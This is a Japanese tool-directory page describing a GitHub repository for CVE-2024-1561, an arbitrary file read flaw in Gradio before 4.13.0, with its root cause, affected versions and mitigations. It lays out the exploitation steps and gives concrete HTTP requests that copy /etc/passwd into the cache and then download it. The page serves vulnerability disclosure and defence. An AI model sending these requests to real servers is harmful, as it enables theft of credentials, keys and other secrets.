Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-1561 — CVE-2024-1561 - Gradio 任意ファイル読み取り | Kitploit
ツール/GitHubGitHub/k3ystr0k3r/cve-2024-1561
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubk3ystr0k3r/cve-2024-1561

CVE-2024-1561

CVE-2024-1561 - Gradio 任意ファイル読み取り

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-1561 - Gradio 任意ファイル読み取り

CVE-2024-1561 は、Gradio の バージョン 4.13.0 未満 に影響する任意ファイル読み取りの脆弱性です。Gradio は、機械学習モデルや AI アプリケーション向けの Web インターフェースを迅速に構築するために使用される人気の Python フレームワークです。

この脆弱性は、/component_server エンドポイントが内部の Component クラスのどのメソッドを呼び出せるかを適切に制限していないために存在します。攻撃者はこの動作を悪用して、HTTP 経由で公開されることを意図されていないメソッドを呼び出すことができます。

そのようなメソッドの一つである move_resource_to_block_cache は、ローカルファイルシステム上のファイルを Gradio の一時キャッシュディレクトリにコピーすることを許可します。ファイルがコピーされると、/file エンドポイントを通じてアクセス可能になり、攻撃者はその内容を取得できるようになります。

この脆弱性は直接リモートコード実行をもたらすものではありませんが、サーバー上の機密ファイルを公開する可能性があり、認証情報、設定ファイル、API キー、トークン、その他の攻撃に有用な情報を収集するために悪用される可能性があります。


影響を受けるバージョン

  • Gradio < 4.13.0

4.13.0 以降のバージョンでは、任意のメソッド呼び出しを防ぐために必要なセキュリティチェックが含まれています。


根本原因

この問題は、/component_server エンドポイント内の不十分なバリデーションに起因します。

Gradio は、リクエストを安全な呼び出し可能関数のリストに制限する代わりに、攻撃者がコンポーネントインスタンスに属する任意のメソッド名を指定することを許可していました。

内部メソッド:

root@kitploit:~
move_resource_to_block_cache()

は入力としてファイルシステムパスを受け入れるため、攻撃者はアプリケーションにサーバー上の読み取り可能な任意のファイルをキャッシュするように指示できます。

キャッシュされると、そのファイルは Gradio の通常のファイル提供機能を通じて公開されます。


悪用プロセス

成功した攻撃は一般に次の手順に従います。

  1. /config エンドポイントにクエリを送信する。
  2. 有効なコンポーネント ID を取得する。
  3. /component_server にリクエストを送信する。
  4. move_resource_to_block_cache メソッドを呼び出す。
  5. ターゲットファイルのパス(例:/etc/passwd)を指定する。
  6. サーバーの応答で一時キャッシュパスを受け取る。
  7. /file エンドポイントを通じてキャッシュされたファイルをダウンロードする。

このプロセスにより、Gradio プロセスが読み取り可能な任意のファイルをリモートから取得できます。


リクエスト例

root@kitploit:~
POST /component_server HTTP/1.1
Host: target
Content-Type: application/json

{
    "component_id": "3",
    "data": "/etc/passwd",
    "fn_name": "move_resource_to_block_cache",
    "session_hash": "aaaaaaaaaaa"
}

成功した場合、Gradio はキャッシュファイルの場所を返します。

その後、攻撃者は次のようにリクエストします。

root@kitploit:~
GET /file=/tmp/gradio/<cached-file>/passwd HTTP/1.1
Host: target

これにより内容を取得できます。


セキュリティへの影響

悪用に成功すると、攻撃者は以下のような機密ファイルを読み取る可能性があります。

  • /etc/passwd
  • プライベート SSH 鍵
  • 環境ファイル (.env)
  • API トークン
  • クラウド認証情報
  • アプリケーション設定ファイル
  • データベース認証情報
  • ソースコード
  • 認証シークレット

影響の程度は Gradio アプリケーションの権限に依存します。


緩和策

この脆弱性を remediate するには:

  • Gradio を 4.13.0 以降にアップグレードする。
  • Gradio アプリケーションを直接パブリックインターネットに公開しない。
  • 可能な限り認証を要求する。
  • リバースプロキシまたはファイアウォールを使用してアクセスを制限する。
  • Gradio を必要最小限の権限で実行する。
  • アプリケーションプロセスがアクセス可能な場所に機密認証情報を保存しない。

参考情報

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1561
  • パッチ: https://github.com/gradio-app/gradio/pull/6884

免責事項

このリポジトリは教育目的、セキュリティ研究、および許可された侵入テストのためにのみ提供されています。所有していない、または評価する許可を得ていないシステムをテストする前に、必ず明示的な許可を取得してください。

ツールをダウンロード